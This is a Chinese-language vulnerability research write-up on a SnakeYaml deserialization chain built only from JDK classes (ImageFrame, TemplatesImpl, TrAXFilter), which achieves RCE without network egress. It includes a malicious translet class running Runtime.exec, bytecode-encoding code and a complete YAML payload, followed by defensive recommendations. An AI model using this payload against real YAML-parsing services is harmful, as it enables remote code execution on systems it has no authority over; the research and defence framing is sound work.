SnakeYaml 不出网 RCE 新链(JDK原生链)挖掘
字数 1465 2025-09-01 11:26:10
SnakeYaml 不出网 RCE 新链(JDK原生链)挖掘技术分析
前言
在Java反序列化漏洞研究中,SnakeYaml作为一个常用的YAML解析库,其反序列化安全问题一直备受关注。本文详细分析了一种新的SnakeYaml利用链,该链完全基于JDK原生类,无需额外依赖且不需要出网即可实现RCE(远程代码执行)。
技术背景
SnakeYaml反序列化机制
与FastJson相比,SnakeYaml的反序列化特性如下:
| 特性 | Fastjson | SnakeYaml |
|---|---|---|
| setter | ✅ | ✅ |
| getter | ✅ | ❌ |
| constructor | ⭕ | ✅(有条件) |
SnakeYaml的利用链主要围绕:
- 构造器利用
- setter方法利用
- HashMap机制触发hashCode方法
TemplatesImpl利用原理
TemplatesImpl是Java反序列化中常用的类,其利用链核心在于:
_name、_bytecodes等关键变量不为null- 通过
ClassLoader::defineClass方法加载恶意类 - 恶意类需继承
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
典型利用代码示例:
public static TemplatesImpl getTemplatesImpl() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
name.setAccessible(true);
bytecodes.setAccessible(true);
tfactory.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}
TrAXFilter利用链
在CC链中,TrAXFilter通过构造器调用TemplatesImpl::newTransformer方法:
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
// ...
}
技术难点与突破
难点1:SnakeYaml中构造byte[][]
在YAML中表示byte[][]类型的挑战:
- 官方文档仅提供
!!binary表示byte[] - 需要通过特殊语法表示二维字节数组
解决方案:
!!com.heihu577.bean.TestByte [[!!binary SGVsbG8=]]
难点2:TemplatesImpl实例创建失败
问题原因:
TemplatesImpl有多个5参数构造器- SnakeYaml在多个同参数数量构造器时不会强制类型转换
底层源码分析(Constructor$ConstructSequence):
- 首先检查参数数量匹配的构造器数量
- 当只有一个匹配时,会尝试强制类型转换
- 当有多个匹配时,需要精确类型匹配
突破方案:引用数据类型
使用YAML的引用机制绕过限制:
- 使用
&定义锚点 - 使用
*引用锚点 - 通过数组确保引用创建顺序
示例:
[
{binaryData: &A [!!binary "SGVsbG8="]},
!!com.example.TargetClass [*A, ...]
]
完整利用链构建
关键类发现
发现com.sun.javafx.iio.ImageFrame类:
- 构造器包含
byte[][]参数 - 构造器参数数量不唯一
- 可强制触发类型转换
构造器签名:
public ImageFrame(ImageStorage.Type type, byte[][] imageData, ...)
POC构造步骤
- 准备恶意类(继承
AbstractTranslet)
public class Evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
// ... 必须实现的方法
}
- 获取恶意类字节码BASE64
byte[] encode = new Base64().encode(Repository.lookupClass(Evil.class).getBytes());
- 构建YAML Payload:
[
!!com.sun.javafx.iio.ImageFrame [null, null, 0, 0, 0, &A [!!binary "恶意类BASE64"], null],
!!com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter [
!!com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl [
*A,
"任意名称",
!!java.util.Properties {},
!!int 0,
!!com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl {}
]
]
]
完整技术流程图
SnakeYaml解析
↓
创建ImageFrame实例(触发byte[][]转换)
↓
通过引用*A传递byte[][]
↓
创建TemplatesImpl实例(使用转换后的byte[][])
↓
TrAXFilter构造器触发TemplatesImpl.newTransformer()
↓
恶意类静态代码块执行
↓
RCE达成
防御建议
- 禁用SnakeYaml的任意类加载:
new Yaml(new SafeConstructor());
- 升级JDK到最新版本
- 对YAML输入进行严格过滤
- 使用白名单机制限制反序列化类
总结
该技术突破点在于:
- 利用ImageFrame强制byte[][]类型转换
- 巧妙运用YAML引用机制
- 纯JDK原生类利用,无额外依赖
- 完全不出网的RCE实现
这种利用方式展示了即使在没有外部依赖和不出网的严格环境下,Java反序列化仍然存在潜在风险,提醒开发者需要更加重视反序列化安全防护。